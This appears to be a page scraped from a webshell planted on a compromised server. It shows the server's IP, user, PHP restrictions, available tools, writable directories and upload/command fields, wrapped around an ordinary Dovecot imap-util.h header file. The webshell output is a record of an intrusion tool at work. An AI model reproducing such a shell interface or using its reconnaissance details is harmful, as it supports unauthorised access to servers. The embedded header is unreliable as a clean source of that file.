403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/include/dovecot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/usr/include/dovecot/imap-util.h
#ifndef IMAP_UTIL_H
#define IMAP_UTIL_H

#include "seq-range-array.h"
#include "mail-types.h"

struct imap_arg;

/* Write flags as a space separated string. */
void imap_write_flags(string_t *dest, enum mail_flags flags,
		      const char *const *keywords) ATTR_NULL(3);
/* Parse system flag from a string, or return 0 if it's invalid. */
enum mail_flags imap_parse_system_flag(const char *str);

/* Write sequence range as IMAP sequence-set */
void imap_write_seq_range(string_t *dest, const ARRAY_TYPE(seq_range) *array);
/* Write IMAP arg to the given string. Because IMAP_ARG_LITERAL_SIZE* have no
   content, they're written as "{size}\r\n<too large>". */
void imap_write_arg(string_t *dest, const struct imap_arg *arg);
/* Same as imap_write_arg(), but write all the args until EOL. */
void imap_write_args(string_t *dest, const struct imap_arg *args);
/* Write IMAP args in a human-readable format to given string (e.g. for
   logging). The output is a single valid UTF-8 line without control
   characters. Multi-line literals are replaced with a generic placeholder. */
void imap_write_args_for_human(string_t *dest, const struct imap_arg *args);
/* Like imap_write_args(), but return the string allocated from data stack. */
const char *imap_args_to_str(const struct imap_arg *args);

/* Writes capabilities from boollist to string.
   Capabilities beginning with IMAP4 are written first
   to avoid breaking clients that expect IMAP4rev1 to be the first. */
void imap_write_capability(string_t *dest, const ARRAY_TYPE(const_string) *capabilities);

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit